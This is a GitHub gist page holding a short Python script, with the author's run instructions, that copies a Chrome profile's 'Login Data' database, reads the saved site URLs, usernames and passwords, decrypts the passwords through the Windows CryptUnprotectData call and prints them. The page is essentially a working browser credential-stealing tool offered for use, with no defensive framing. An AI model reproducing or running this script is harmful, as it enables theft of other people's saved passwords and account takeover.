Skip to content

Instantly share code, notes, and snippets.

@MITsVision
Last active April 28, 2017 09:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MITsVision/a34b8ae54448f028cf830a9c26dddb5b to your computer and use it in GitHub Desktop.
Save MITsVision/a34b8ae54448f028cf830a9c26dddb5b to your computer and use it in GitHub Desktop.
import os
import sqlite3
import win32crypt
import sys
import shutil
file_path= "C:/Users/User_name/AppData/Local/Google/Chrome/User Data/Profile 3/Login Data"
shutil.copy(file_path, "path_to_current_directory")
# Connect to the Database
try:
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
except Exception as e:
print ('[-] %s' % (e) )
sys.exit(1)
# Get the results
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception as e:
print( '[-] %s' % (e))
sys.exit(1)
data = cursor.fetchall()
if len(data) > 0:
for result in data:
# Decrypt the Password
try:
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
except Exception as e:
print( '[-] %s' % (e))
pass
if password:
print ("[+] URL: %s Username: %s Password: %s" %(result[0], result[1], password))
else:
print ('[-] No results returned from query')
sys.exit(0)
@MITsVision
Copy link
Author

  1. Just save the file with .py extension and update the path details in the code

@MITsVision
Copy link
Author

  1. Run code as python filename.py

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment